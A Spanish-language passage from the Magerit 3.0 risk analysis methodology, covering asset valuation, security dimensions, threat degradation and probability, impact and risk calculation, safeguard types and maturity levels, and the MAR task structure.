10 No se ataca ni se defiende de la misma manera un servicio telemático que un local de trabajo. 11 Un ejemplo puede ser mejor que mil palabras. Si se quema el local que hospeda los equipos, lo que no funciona es el servicio percibido por el usuario a kilómetros de distancia. Si roban el portátil de un ejecutivo con información estratégica de la Organización, lo que sufre es la confidencialidad de dicha información. Las instalaciones se reconstruyen; pero puede haberse pasado la oportunidad de prestar el servicio. El robo se subsana comprando otro portátil; pero el secreto ya está perdido.

© Ministerio de Hacienda y Administraciones Públicas

página 23 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos •

equipos informáticos (hardware)

•

comunicaciones

•

soportes de información: discos, cintas, etc.

el entorno: activos que se precisan para garantizar las siguientes capas

•

•

equipamiento y suministros: energía, climatización, etc.

•

mobiliario

•

los servicios subcontratados a terceros

•

las instalaciones físicas

•

el personal •

usuarios

•

operadores y administradores

•

desarrolladores

Valoración ¿Por qué interesa un activo? Por lo que vale. No se está hablando de lo que cuestan las cosas, sino de lo que valen. Si algo no vale para nada, prescíndase de ello. Si no se puede prescindir impunemente de un activo, es que algo vale; eso es lo que hay que averiguar pues eso es lo que hay que proteger. La valoración se puede ver desde la perspectiva de la ‘necesidad de proteger’ pues cuanto más valioso es un activo, mayor nivel de protección requeriremos en la dimensión (o dimensiones) de seguridad que sean pertinentes. El valor puede ser propio, o puede ser acumulado. Se dice que los activos inferiores en un esquema de dependencias, acumulan el valor de los activos que se apoyan en ellos. El valor nuclear suele estar en la información que el si stema maneja y los servicios que se prestan (activos denominados esenciales), quedando los demás activos subordinados a las necesidades de explotación y protección de lo esencial. Por otra parte, los sistemas de información explotan los datos para proporcionar servicios, internos a la Organización o destinados a terceros, apareciendo una serie de datos necesarios para prestar un servicio. Sin entrar en detalles técnicos de cómo se hacen las cosas, el conjunto de información y servicios esenciales permite caracterizar funcionalmente una organización. Las dependencias entre activos permiten relacionar los demás activos con datos y servicios.

Dimensiones De un activo puede interesar calibrar diferentes dimensiones: •

su confidencialidad: ¿qué daño causaría que lo conociera quien no debe? Esta valoración es típica de datos.

•

su integridad: ¿qué perjuicio causaría que estuviera dañado o corrupto? Esta valoración es típica de los datos, que pueden estar manipulados, ser total o parcialmente falsos o, incluso, faltar datos.

•

su disponibilidad: ¿qué perjuicio causaría no tenerlo o no poder utilizarlo? Esta valoración es típica de los servicios 12 .

12 Hay servicios finales que materializan la misión última de la Organización. Hay servicios internos de los que la Organización se sirve para estructurar su propia distribución de responsabilidades. Por último, hay servicios que se adquieren de otras organizaciones: suministros externos.

© Ministerio de Hacienda y Administraciones Públicas

página 24 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

En sistemas dedicados a servicios de la sociedad de la información como puedan ser los de administración electrónica o comercio electrónico, el conocimiento de los actores es fundamental para poder prestar el servicio correctamente y poder perseguir los fallos (accidentales o deliberados) que pudieran darse. Así pues, en los activos esenciales, frecuentemente es útil valorar: •

la autenticidad: ¿qué perjuicio causaría no saber exactamente quien hace o ha hecho cada cosa? Esta valoración es típica de servicios (autenticidad del usuario) y de los datos (autenticidad de quien accede a los datos para escribir o, simplemente, consultar)

•

la trazabilidad del uso del servicio: ¿qué daño causaría no saber a quién se le presta tal servicio? O sea, ¿quién hace qué y cuándo?

•

la trazabilidad del acceso a los datos: ¿qué daño causaría no saber quién accede a qué datos y qué hace con ellos?

Se reconocen habitualmente como dimensiones básicas la confidencialidad, integridad y disponibilidad. En esta metodología se han añadido la autenticidad y el concepto de trazabilidad (del inglés, accountability), que a efectos técnicos se traducen en mantener la integridad y la confidencialidad de ciertos activos del sistema que pueden ser los servicios de directorio, las claves de firma digital, los registros de actividad, etc. El capítulo 3 del "Catálogo de Elementos" presenta una relación de dimensiones de seguridad. En un árbol de dependencias, donde los activos superiores dependen de los inferiores, es imprescindible valorar los activos superiores, los que son importantes por sí mismos. Automáticamente este valor se acumula en los inferiores, lo que no es óbice para que también puedan merecer, adicionalmente, su valoración propia.

¿Cuánto vale la “salud” de los activos? Una vez determinadas qué dimensiones (de seguridad) interesan de un activo hay que proceder a valorarlo. La valoración es la determinación del coste que supondría recuperarse de una incidencia que destrozara el activo. Hay muchos factores a considerar: •

coste de reposición: adquisición e instalación

•

coste de mano de obra (especializada) invertida en recuperar (el valor) del activo

•

lucro cesante: pérdida de ingresos

•

capacidad de operar: confianza de los usuarios y proveedores que se traduce en una pérdida de actividad o en peores condiciones económicas

•

sanciones por incumplimiento de la ley u obligaciones contractuales

•

daño a otros activos, propios o ajenos

•

daño a personas

•

daños medioambientales

La valoración puede ser cuantitativa (con una cantidad numérica) o cualitativa (en alguna escala de niveles). Los criterios más importantes a respetar son: •

la homogeneidad: es importante poder comparar valores aunque sean de diferentes dimensiones a fin de poder combinar valores propios y valores acumulados, así como poder determinar si es más grave el daño en una dimensión o en otra

•

la relatividad: es importante poder relativizar el valor de un activo en comparación con otros activos

Ambos criterios se satisfacen con valoraciones económicas (coste dinerario requerido para “curar” el activo) y es frecuente la tentación de ponerle precio a todo. Si se consigue, excelente. Incluso es fácil ponerle precio a los aspectos más tangibles (equipamiento, horas de trabajo, etc.); pero al entrar en valoraciones más abstractas (intangibles como la credibilidad de la Organización) la valoración económica exacta puede ser escurridiza y motivo de agrias disputas entre expertos. © Ministerio de Hacienda y Administraciones Públicas página 25 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

El capítulo 4 del "Catálogo de Elementos" presenta unas pautas para la valoración sistemática de activos.

Valoración cualitativa Las escalas cualitativas permiten avanzar con rapidez, posicionando el valor de cada activo en un orden relativo respecto de los demás. Es frecuente plantear estas escalas como “órdenes de magnitud” y, en consecuencia, derivar estimaciones del orden de magnitud del riesgo. La limitación de las valoraciones cualitativas es que no permiten comparar valores más allá de su orden relativo. No se pueden sumar valores. La "Guía de Técnicas" presenta un modelo de análisis basado en valoraciones cualitativas.

Valoración cuantitativa Las valoraciones numéricas absolutas cuestan mucho esfuerzo; pero permiten sumar valores numéricos de forma absolutamente “natural”. La interpretación de las sumas no es nunca motivo de controversia. Si la valoración es dineraria, además se pueden hacer estudios económicos comparando lo que se arriesga con lo que cuesta la solución respondiendo a las preguntas: •

¿Vale la pena invertir tanto dinero en esta salvaguarda?

•

¿Qué conjunto de salvaguardas optimizan la inversión?

•

¿En qué plazo de tiempo se recupera la inversión?

•

¿Cuánto es razonable que cueste la prima de un seguro?

La "Guía de Técnicas" presenta un modelo de análisis basado en valoraciones cuantitativas.

El valor de la interrupción del servicio Casi todas las dimensiones mencionadas anteriormente permiten una valoración simple, cualitativa o cuantitativa. Pero hay una excepción, la disponibilidad. No es lo mismo interrumpir un servicio una hora o un día o un mes. Puede que una hora de detención sea irrelevante, mientras que un día sin servicio causa un daño moderado; pero un mes detenido suponga la terminación de la actividad. Y lo malo es que no existe proporcionalidad entre el tiempo de interrupción y las consecuencias. En consecuencia, para valorar la [interrupción de la] disponibilidad de un activo hay que usar una estructura más compleja que se puede resumir en algún gráfico como el siguiente: 3

2

1

0 15m

30m

1h

2h

6h

1d

2d

1s

2s

1m

2m

6m

1a

total

Ilustración 8. Coste de la [interrupción de la] disponibilidad

donde aparece una serie de escalones de interrupción que terminan con la destrucción total o permanente del activo. En el ejemplo anterior, paradas de hasta 6 horas se pueden asumir sin consecuencias. Pero a las 6 horas se disparan las alarmas que aumentan si la parada supera los 2 días. Y si la parada supera el mes, se puede decir que la Organización ha perdido su capacidad de operar: ha muerto. Desde el punto de vista de los remedios, la gráfica dice directamente que no © Ministerio de Hacienda y Administraciones Públicas

página 26 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

hay que gastarse ni un euro por evitar paradas de menos de 6 horas. Vale la pena un cierto gasto por impedir que una parada supere las 6 horas o los 2 días. Y cuando se valore lo que cuesta impedir que la parada supera el mes, hay que poner en la balanza todo el valor de la Organización frente al coste de las salvaguardas. Pudiera ser que no valiera la pena.

3.1.2. Paso 2: Amenazas El siguiente paso consiste en determinar las amenazas que pueden afectar a cada activo. Las amenazas son “cosas que ocurren”. Y, de todo lo que puede ocurrir, interesa lo que puede pasarle a nuestros activos y causar un daño. Amenaza Causa potencial de un incidente que puede causar daños a un sistema de información o a una organización. [UNE 71504:2008]

Identificación de las amenazas El capítulo 5 del "Catálogo de Elementos" presenta una relación de amenazas típicas. De origen natural Hay accidentes naturales (terremotos, inundaciones, ...). Ante esos avatares el sistema de información es víctima pasiva, pero de todas formas tendremos en cuenta lo que puede suceder. Del entorno (de origen industrial) Hay desastres industriales (contaminación, fallos eléctricos, ...) ante los cuales el sistema de información es víctima pasiva; pero no por ser pasivos hay que permanecer indefensos. Defectos de las aplicaciones Hay problemas que nacen directamente en el equipamiento propio por defectos en su diseño o en su implementación, con consecuencias potencialmente negativas sobre el sistema. Frecuentemente se denominan vulnerabilidades técnicas o, simplemente, ‘vulnerabilidades’ 13 . Causadas por las personas de forma accidental Las personas con acceso al sistema de información pueden ser causa de problemas no intencionados, típicamente por error o por omisión. Causadas por las personas de forma deliberada Las personas con acceso al sistema de información pueden ser causa de problemas intencionados: ataques deliberados; bien con ánimo de beneficiarse indebidamente, bien con ánimo de causar daños y perjuicios a los legítimos propietarios. No todas las amenazas afectan a todos los activos 14 , sino que hay una cierta relación entre el tipo de activo y lo que le podría ocurrir.

Valoración de las amenazas Cuando un activo es víctima de una amenaza, no se ve afectado en todas sus dimensiones, ni en la misma cuantía. 13

14

Estos defectos se clasifican habitualmente bajo la taxonomía conocida como CVE (Common Vulnerability Enumeration), una norma internacional de facto. La mayor parte de estos defectos suelen afectar a aplicaciones software. Las instalaciones pueden incendiarse; pero las aplicaciones, no. Las personas pueden ser objeto de un ataque bacteriológico; pero los servicios, no. Sin embargo, los virus informáticos afectan a las aplicaciones, no a las personas.

© Ministerio de Hacienda y Administraciones Públicas

página 27 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Una vez determinado que una amenaza puede perjudicar a un activo, hay que valorar su influencia en el valor del activo, en dos sentidos: degradación: cuán perjudicado resultaría el [valor del] activo probabilidad: cuán probable o improbable es que se materialice la amenaza La degradación mide el daño causado por un incidente en el supuesto de que ocurriera. La degradación se suele caracterizar como una fracción del valor del activo y así aparecen expresiones como que un activo se ha visto “totalmente degradado”, o “degradado en una pequeña fracción”. Cuando las amenazas no son intencionales, probablemente baste conocer la fracción físicamente perjudicada de un activo para calcular la pérdida proporcional de valor que se pierde. Pero cuando la amenaza es intencional, no se puede pensar en proporcionalidad alguna pues el atacante puede causar muchísimo daño de forma selectiva. La probabilidad de ocurrencia es más compleja de determinar y de expresar. A veces se modela cualitativamente por medio de alguna escala nominal: MA muy alta

casi seguro

fácil

A

alta

muy alto

medio

M

media

posible

difícil

B

baja

poco probable muy difícil

MB muy baja muy raro

extremadamente difícil

Tabla 1. Degradación del valor

A veces se modela numéricamente como una frecuencia de ocurrencia. Es habitual usar 1 año como referencia, de forma que se recurre a la tasa anual de ocurrencia 15 como medida de la probabilidad de que algo ocurra. Son valores típicos: MA 100 muy frecuente

a diario

A

10

frecuente

mensualmente

M

1

normal

una vez al año

B

1/10 poco frecuente

cada varios años

MB 1/100 muy poco frecuente siglos Tabla 2. Probabilidad de ocurrencia

3.1.3. Determinación del impacto potencial Se denomina impacto a la medida del daño sobre el activo derivado de la materialización de una amenaza. Conociendo el valor de los activos (en varias dimensiones) y la degradación que causan las amenazas, es directo derivar el impacto que estas tendrían sobre el sistema. La única consideración que queda hacer es relativa a las dependencias entre activos. Es frecuente que el valor del sistema se centre en la información que maneja y los servicios que presta; pero las amenazas suelen materializarse en los medios. Para enlazar unos con otros recurriremos al grafo de dependencias.

Impacto acumulado Es el calculado sobre un activo teniendo en cuenta

15

•

su valor acumulado (el propio mas el acumulado de los activos que dependen de él)

•

las amenazas a que está expuesto

ARO – Annual Rate of Occurrence.

© Ministerio de Hacienda y Administraciones Públicas

página 28 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

El impacto acumulado se calcula para cada activo, por cada amenaza y en cada dimensión de valoración, siendo una función del valor acumulado y de la degradación causada. El impacto es tanto mayor cuanto mayor es el valor propio o acumulado sobre un activo. El impacto es tanto mayor cuanto mayor sea la degradación del activo atacado. El impacto acumulado, al calcularse sobre los activos que soportan el peso del sistema de información, permite determinar las salvaguardas de que hay que dotar a los medios de trabajo: protección de los equipos, copias de respaldo, etc.

Impacto repercutido Es el calculado sobre un activo teniendo en cuenta •

su valor propio

•

las amenazas a que están expuestos los activos de los que depende

El impacto repercutido se calcula para cada activo, por cada amenaza y en cada dimensión de valoración, siendo una función del valor propio y de la degradación causada. El impacto es tanto mayor cuanto mayor es el valor propio de un activo. El impacto es tanto mayor cuanto mayor sea la degradación del activo atacado. El impacto es tanto mayor cuanto mayor sea la dependencia del activo atacado. El impacto repercutido, al calcularse sobre los activos que tienen valor propio, permite determinar las consecuencias de las incidencias técnicas sobre la misión del sistema de información. Es pues una presentación gerencial que ayuda a tomar una de las decisiones críticas de un análisis de riesgos: aceptar un cierto nivel de riesgo.

Agregación de valores de impacto Los párrafos anteriores determinan el impacto que sobre un activo tendría una amenaza en una cierta dimensión. Estos impactos singulares pueden agregarse bajo ciertas condiciones: •

puede agregarse el impacto repercutido sobre diferentes activos,

•

puede agregarse el impacto acumulado sobre activos que no sean dependientes entre sí, y no hereden valor de un activo superior común,

•

no debe agregarse el impacto acumulado sobre activos que no sean independientes, pues ello supondría sobre ponderar el impacto al incluir varias veces el valor acumulado de activos superiores,

•

puede agregarse el impacto de diferentes amenazas sobre un mismo activo, aunque conviene considerar en qué medida las diferentes amenazas son independientes y pueden ser concurrentes,

•

puede agregarse el impacto de una amenaza en diferentes dimensiones.

3.1.4. Determinación del riesgo potencial Se denomina riesgo a la medida del daño probable sobre un sistema. Conociendo el impacto de las amenazas sobre los activos, es directo derivar el riesgo sin más que tener en cuenta la probabilidad de ocurrencia. El riesgo crece con el impacto y con la probabilidad, pudiendo distinguirse una serie de zonas a tener en cuenta en el tratamiento del riesgo (que veremos más adelante): •

zona 1 – riesgos muy probables y de muy alto impacto

•

zona 2 – franja amarilla: cubre un amplio rango desde situaciones improbables y de impacto medio, hasta situaciones muy probables pero de impacto bajo o muy bajo

© Ministerio de Hacienda y Administraciones Públicas

página 29 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

•

zona 3 – riesgos improbables y de bajo impacto

•

zona 4 – riesgos improbables pero de muy alto impacto

Ilustración 9. El riesgo en función del impacto y la probabilidad

Riesgo acumulado Es el calculado sobre un activo teniendo en cuenta •

el impacto acumulado sobre un activo debido a una amenaza y

•

la probabilidad de la amenaza

El riesgo acumulado se calcula para cada activo, por cada amenaza y en cada dimensión de valoración, siendo una función del valor acumulado, la degradación causada y la probabilidad de la amenaza. El riesgo acumulado, al calcularse sobre los activos que soportan el peso del sistema de información, permite determinar las salvaguardas de que hay que dotar a los medios de trabajo: protección de los equipos, copias de respaldo, etc.

Riesgo repercutido Es el calculado sobre un activo teniendo en cuenta •

el impacto repercutido sobre un activo debido a una amenaza y

•

la probabilidad de la amenaza

El riesgo repercutido se calcula para cada activo, por cada amenaza y en cada dimensión de valoración, siendo una función del valor propio, la degradación causada y la probabilidad de la amenaza. El riesgo repercutido, al calcularse sobre los activos que tienen valor propio, permite determinar las consecuencias de las incidencias técnicas sobre la misión del sistema de información. Es pues una presentación gerencial que ayuda a tomar una de las decisiones críticas de un análisis de riesgos: aceptar un cierto nivel de riesgo.

Agregación de riesgos Los párrafos anteriores determinan el riesgo que sobre un activo tendría una amenaza en una cierta dimensión. Estos riesgos singulares pueden agregarse bajo ciertas condiciones: •

puede agregarse el riesgo repercutido sobre diferentes activos,

puede agregarse el impacto acumulado sobre activos que no sean dependientes entre sí, y no hereden valor de un activo superior común, © Ministerio de Hacienda y Administraciones Públicas página 30 (de 127) •

Magerit 3.0

Proyectos de análisis de riesgos

•

no debe agregarse el riesgo acumulado sobre activos que no sean independientes, pues ello supondría sobre ponderar el riesgo al incluir varias veces el valor acumulado de activos superiores,

•

puede agregarse el riesgo de diferentes amenazas sobre un mismo activo, aunque conviene considerar en qué medida las diferentes amenazas son independientes y pueden ser concurrentes,

•

puede agregarse el riesgo de una amenaza en diferentes dimensiones.

3.1.5. Paso 3: Salvaguardas En los pasos anteriores no se han tomado en consideración las salvaguardas desplegadas. Se miden, por tanto, los impactos y riesgos a que estarían expuestos los activos si no se protegieran en absoluto. En la práctica no es frecuente encontrar sistemas desprotegidos: las medidas citadas indican lo que ocurriría si se retiraran las salvaguardas presentes. Se definen las salvaguardas o contra medidas como aquellos procedimientos o mecanismos tecnológicos que reducen el riesgo. Hay amenazas que se conjurar simplemente organizándose adecuadamente, otras requieres elementos técnicos (programas o equipos), otras seguridad física y, por último, está la política de personal. El capítulo 6 del "Catálogo de Elementos" presenta una relación de salvaguardas adecuadas para cada tipo de activos.

Selección de salvaguardas Ante el amplio abanico de posibles salvaguardas a considerar, es necesario hacer una criba inicial para quedarnos con aquellas que son relevantes para lo que hay que proteger. En esta criba se deben tener en cuenta los siguientes aspectos: 1. tipo de activos a proteger, pues cada tipo se protege de una forma específica 2. dimensión o dimensiones de seguridad que requieren protección 3. amenazas de las que necesitamos protegernos 4. si existen salvaguardas alternativas Además, es prudente establecer un principio de proporcionalidad y tener en cuenta: 1. el mayor o menor valor propio o acumulado sobre un activo, centrándonos en lo más valioso y obviando lo irrelevante 2. la mayor o menor probabilidad de que una amenaza ocurra, centrándonos en los riesgos más importantes (ver zonas de riesgo) 3. la cobertura del riesgo que proporcionan salvaguardas alternativas Esto lleva a dos tipos de declaraciones para excluir una cierta salvaguarda del conjunto de las que conviene analizar: •

no aplica – se dice cuando una salvaguarda no es de aplicación porque técnicamente no es adecuada al tipo de activos a proteger, no protege la dimensión necesaria o no protege frente a la amenaza en consideración

•

no se justif ica – se dice cuando la salvaguarda aplica, pero es desproporcionada al riesgo que tenemos que proteger

Como resultado de estas consideraciones dispondremos de una “declaración de aplicabilidad” o relación de salvaguardas que deben ser analizadas como componentes nuestro sistema de protección.

Efecto de las salvaguardas Las salvaguardas entran en el cálculo del riesgo de dos formas: © Ministerio de Hacienda y Administraciones Públicas

página 31 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Reduciendo la probabilidad de las amenazas. Se llaman salvaguardas preventivas. Las ideales llegan a impedir completamente que la amenaza se materialice. Limitando el daño causado. Hay salvaguardas que directamente limitan la posible degradación, mientras que otras permiten detectar inmediatamente el ataque para frenar que la degradación avance. Incluso algunas salvaguardas se limitan a permitir la pronta recuperación del sistema cuando la amenaza lo destruye. En cualquiera de las versiones, la amenaza se materializa; pero las consecuencias se limitan.

Ilustración 10. Elementos de análisis del riesgo residual

Tipo de protección Esta aproximación a veces resulta un poco simplificadora, pues es habitual hablar de diferentes tipos de protección prestados por las salvaguardas: [PR] prevención Diremos que una salvaguarda es preventiva cuando reduce las oportunidades de que un incidente ocurra. Si la salvaguarda falla y el incidente llega a ocurrir, los daños son los mismos. Ejemplos: autorización previa de los usuarios, gestión de privilegios, planificación de capacidades, metodología segura de desarrollo de software, pruebas en pre-producción, segregación de tareas, ... [DR] disuasión Diremos que una salvaguarda es disuasoria cuando tiene un efecto tal sobre los atacantes que estos no se atreven o se lo piensan dos veces antes de atacar. Son salvaguardas que actúan antes del incidente, reduciendo las probabilidades de que ocurra; pero que no tienen influencia sobre los daños causados caso de que el atacante realmente se atreva. Ejemplos: vallas elevadas, guardias de seguridad, avisos sobre la persecución del delito o persecución del delincuente, ...

© Ministerio de Hacienda y Administraciones Públicas

página 32 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

[EL] eliminación Diremos que una salvaguarda elimina un incidente cuando impide que éste tenga lugar. Son salvaguardas que actúan antes de que el incidente se haya producido. No reducen los daños caso de que la salvaguarda no sea perfecta y el incidente llegue a ocurrir. Ejemplos: eliminación de cuentas estándar, de cuentas sin contraseña, de servicios innecesarios, …; en general, todo lo que tenga que ver con la fortificación o bastionado, ..., cifrado de la información, ..., armarios ignífugos, ... [IM] minimización del impacto / limitación del impacto Se dice que una salvaguarda minimiza o limita el impacto cuando acota las consecuencias de un incidente. Ejemplos: desconexión de redes o equipos en caso de ataque, detención de servicios en caso de ataque, seguros de cobertura, cumplimiento de la legislación vigente [CR] corrección Diremos que una salvaguarda es correctiva cuando, habiéndose producido un daño, lo repara. Son salvaguardas que actúan después de que el incidente se haya producido y por tanto reducen los daños. Véase: recuperación más abajo. Ejemplos: gestión de incidentes, líneas de comunicación alternativas, fuentes de alimentación redundantes, ... [RC] recuperación Diremos que una salvaguarda ofrece recuperación cuando permite regresar al estado anterior al incidente. Son salvaguardas que no reducen las probabilidades del incidente, pero acotan los daños a un periodo de tiempo. Ejemplos: copias de seguridad (back-up) [MN] monitorización Son las salvaguardas que trabajan monitorizando lo que está ocurriendo o lo que ha ocurrido. Si se detectan cosas en tiempo real, podemos reaccionar atajando el incidente para limitar el impacto; si se detectan cosas a posteriori, podemos aprender del incidente y mejorar el sistema de salvaguardas de cara al futuro. Ejemplos: registros de actividad, registro de descargas de web, ... [DC] detección Diremos que una salvaguarda funciona detectando un ataque cuando informa de que el ataque está ocurriendo. Aunque no impide el ataque, sí permite que entren en operación otras medidas que atajen la progresión del ataque, minimizando daños. Ejemplos: anti-virus, IDS, detectores de incendio, ... [AW] concienciación Son las actividades de formación de las personas anexas al sistema que pueden tener una influencia sobre él. La formación reduce los errores de los usuarios, lo cual tiene un efecto preventivo. También mejora las salvaguardas de todo tipo pues los que las operan lo hacen con eficacia y rapidez, potenciando su efecto o, al menos, no menoscabándolo por una mala operación. Ejemplos: cursos de concienciación, cursos de formación, ... [AD] administración Se refiere a las salvaguardas relacionadas con los componentes de seguridad del sistema. Una buena administración evita el desconocimiento de lo que hay y por tanto impide que © Ministerio de Hacienda y Administraciones Públicas

página 33 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

hayan puertas desconocidas por las que pudiera tener éxito un ataque. En general pueden considerarse medidas de tipo preventivo. Ejemplos: inventario de activos, análisis de riesgos, plan de continuidad, ... La siguiente tabla relaciona cada uno de estos tipos de protección con el modelo anterior de reducción de la degradación y de la probabilidad: efecto

tipo

preventivas: reducen la probabilidad [PR] preventivas [DR] disuasorias [EL] eliminatorias acotan la degradación

[IM] minimizadoras [CR] correctivas [RC] recuperativas

consolidan el efecto de las demás

[MN] de monitorización [DC] de detección [AW] de concienciación [AD] administrativas

Tabla 3. Tipos de salvaguardas

Eficacia de la protección Las salvaguardas se caracterizan, además de por su existencia, por su eficacia frente al riesgo que pretenden conjurar. La salvaguarda ideal es 100% eficaz, eficacia que combina 2 factores: desde el punto de vista técnico •

es técnicamente idónea para enfrentarse al riesgo que protege

•

se emplea siempre

desde el punto de vista de operación de la salvaguarda •

está perfectamente desplegada, configurada y mantenida

•

existen procedimientos claros de uso normal y en caso de incidencias

•

los usuarios están formados y concienciados

•

existen controles que avisan de posibles fallos

Entre una eficacia del 0% para aquellas que faltan y el 100% para aquellas que son idóneas y que están perfectamente implantadas, se estimará un grado de eficacia real en cada caso concreto. Para medir los aspectos organizativos, se puede emplear una escala de madurez que recoja en forma de factor corrector la confianza que merece el proceso de gestión de la salvaguarda: factor 0%

100%

nivel significado L0

inexistente

L1

inicial / ad hoc

L2

reproducible, pero intuitivo

L3

proceso definido

L4

gestionado y medible

L5

optimizado

Tabla 4. Eficacia y madurez de las salvaguardas

© Ministerio de Hacienda y Administraciones Públicas

página 34 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Vulnerabilidades Se denomina vulnerabilidad a toda debilidad que puede ser aprovechada por una amenaza, o más detalladamente a las debilidades de los activos o de sus medidas de protección que facilitan el éxito de una amenaza potencial. Traducido a los términos empleados en los párrafos anteriores, son vulnerabilidades todas las ausencias o ineficacias de las salvaguardas pertinentes para salvaguardar el valor propio o acumulado sobre un activo. A veces se emplea el término “insuficiencia” para resaltar el hecho de que la eficacia medida de la salvaguarda es insuficiente para preservar el valor del activo expuesto a una amenaza.

3.1.6. Paso 4: impacto residual Dado un cierto conjunto de salvaguardas desplegadas y una medida de la madurez de su proceso de gestión, el sistema queda en una situación de posible impacto que se denomina residual. Se dice que hemos modificado el impacto, desde un valor potencial a un valor residual. El cálculo del impacto residual es sencillo. Como no han cambiado los activos, ni sus dependencias, sino solamente la magnitud de la degradación, se repiten los cálculos de impacto con este nuevo nivel de degradación. La magnitud de la degradación tomando en cuenta la eficacia de las salvaguardas, es la proporción que resta entre la eficacia perfecta y la eficacia real. El impacto residual puede calcularse acumulado sobre los activos inferiores, o repercutido sobre los activos superiores.

3.1.7. Paso 5: riesgo residual Dado un cierto conjunto de salvaguardas desplegadas y una medida de la madurez de su proceso de gestión, el sistema queda en una situación de riesgo que se denomina residual. Se dice que hemos modificado el riesgo, desde un valor potencial a un valor residual. El cálculo del riesgo residual es sencillo. Como no han cambiado los activos, ni sus dependencias, sino solamente la magnitud de la degradación y la probabilidad de las amenazas, se repiten los cálculos de riesgo usando el impacto residual y la probabilidad residual de ocurrencia. La magnitud de la degradación se toma en consideración en el cálculo del impacto residual. La magnitud de la probabilidad residual tomando en cuenta la eficacia de las salvaguardas, es la proporción que resta entre la eficacia perfecta y la eficacia real. El riesgo residual puede calcularse acumulado sobre los activos inferiores, o repercutido sobre los activos superiores.

3.2. Formalización de las actividades Este conjunto de actividades tiene los siguientes objetivos: •

Levantar un modelo del valor del sistema, identificando y valorando los activos relevantes.

•

Levantar un mapa de riesgos del sistema, identificando y valorando las amenazas sobre aquellos activos.

•

Levantar un conocimiento de la situación actual de salvaguardas.

•

Evaluar el impacto posible sobre el sistema en estudio, tanto el impacto potencial (sin salvaguardas), como el impacto residual (incluyendo el efecto de las salvaguardas desplegadas para proteger el sistema).

•

Evaluar el riesgo del sistema en estudio, tanto el riesgo potencial (sin salvaguardas), como el riesgo residual (incluyendo el efecto de las salvaguardas desplegadas para proteger el sistema).

© Ministerio de Hacienda y Administraciones Públicas

página 35 (de 127)

Magerit 3.0 •

Proyectos de análisis de riesgos

Informar de las áreas del sistema con mayor impacto y/o riesgo a fin de que se puedan tomar las decisiones de tratamiento con motivo justificado.

El análisis de los riesgos se lleva a cabo por medio de las siguientes tareas: MAR – Método de Análisis de Riesgos MAR.1 – Caracterización de los activos MAR.11 – Identificación de los activos MAR.12 – Dependencias entre activos MAR.13 – Valoración de los activos MAR.2 – Caracterización de las amenazas MAR.21 – Identificación de las amenazas MAR.22 – Valoración de las amenazas MAR.3 – Caracterización de las salvaguardas MAR.31 – Identificación de las salvaguardas pertinentes MAR.32 – Valoración de las salvaguardas MAR.4 – Estimación del estado de riesgo MAR.41 – Estimación del impacto MAR.42 – Estimación del riesgo

MAR.1: Caracterización de los activos Esta actividad busca identificar los activos relevantes dentro del sistema a analizar, caracterizándolos por el tipo de activo, identificando las relaciones entre los diferentes activos, determinando en qué dimensiones de seguridad son importantes y valorando esta importancia. El resultado de esta actividad es el informe denominado “modelo de valor”. Sub-tareas: Tarea MAR.11: Identificación de los activos Tarea MAR.12: Dependencias entre activos Tarea MAR.13: Valoración de los activos

MAR.2: Caracterización de las amenazas Esta actividad busca identificar las amenazas relevantes sobre el sistema a analizar, caracterizándolas por las estimaciones de ocurrencia (probabilidad) y daño causado (degradación). El resultado de esta actividad es el informe denominado “mapa de riesgos”. Sub-tareas: Tarea MAR.21: Identificación de las amenazas Tarea MAR.22: Valoración de las amenazas

MAR.3: Caracterización de las salvaguardas Esta actividad busca identificar las salvaguardas desplegadas en el sistema a analizar, calificándolas por su eficacia frente a las amenazas que pretenden mitigar. El resultado de esta actividad se concreta en varios informes: — declaración de aplicabilidad — evaluación de salvaguardas — insuficiencias (o vulnerabilidades del sistema de protección) © Ministerio de Hacienda y Administraciones Públicas

página 36 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Sub-tareas: Tarea MAR.31: Identificación de las salvaguardas pertinentes Tarea MAR.32: Valoración de las salvaguardas

MAR.4: Estimación del estado de riesgo Esta actividad procesa todos los datos recopilados en las actividades anteriores para •

realizar un informe del estado de riesgo: estimación de impacto y riesgo

•

realizar un informe de insuficiencias: deficiencias o debilidades en el sistema de salvaguardas

Sub-tareas: Tarea MAR.41: Estimación del impacto Tarea MAR.42: Estimación del riesgo Es frecuente que las tareas relacionadas con los activos (MAR.1) se realicen concurrentemente con las tareas relacionadas con las amenazas sobre dichos activos (MAR.2) e identificación de las salvaguardas actuales (MAR.3), simplemente porque suelen coincidir las personas y es difícil que el interlocutor no tienda de forma natural a tratar cada activo “verticalmente”, viendo todo lo que le afecta antes de pasar al siguiente.

3.2.1. Tarea MAR.1: Caracterización de los activos Esta actividad consta de tres sub-tareas: MAR.11: Identificación de los activos MAR.12: Dependencias entre activos MAR.13: Valoración de los activos El objetivo de estas tareas es reconocer los activos que componen el sistema, definir las dependencias entre ellos, y determinar que parte del valor del sistema se soporta en cada activo. Podemos resumirlo en la expresión “conócete a ti mismo”. MAR: Análisis de riesgos MAR.1: Caracterización de los activos MAR.11: Identificación de los activos Objetivos •

Identificar los activos que componen el sistema, determinando sus características, atributos y clasificación en los tipos determinados

Productos de entrada •

Inventario de datos manejados por el sistema

•

Inventario de servicios prestados por el sistema

•

Procesos de negocio

•

Diagramas de uso

•

Diagramas de flujo de datos

•

Inventarios de equipamiento lógico

•

Inventarios de equipamiento físico

•

Locales y sedes de la Organización

•

Caracterización funcional de los puestos de trabajo

© Ministerio de Hacienda y Administraciones Públicas

página 37 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

MAR: Análisis de riesgos MAR.1: Caracterización de los activos MAR.11: Identificación de los activos Productos de salida •

Relación de activos a considerar

•

Caracterización de los activos: valor propio y acumulado

•

Relaciones entre activos

Técnicas, prácticas y pautas •

Ver “Libro II – Catálogo”.

•

Diagramas de flujo de datos

•

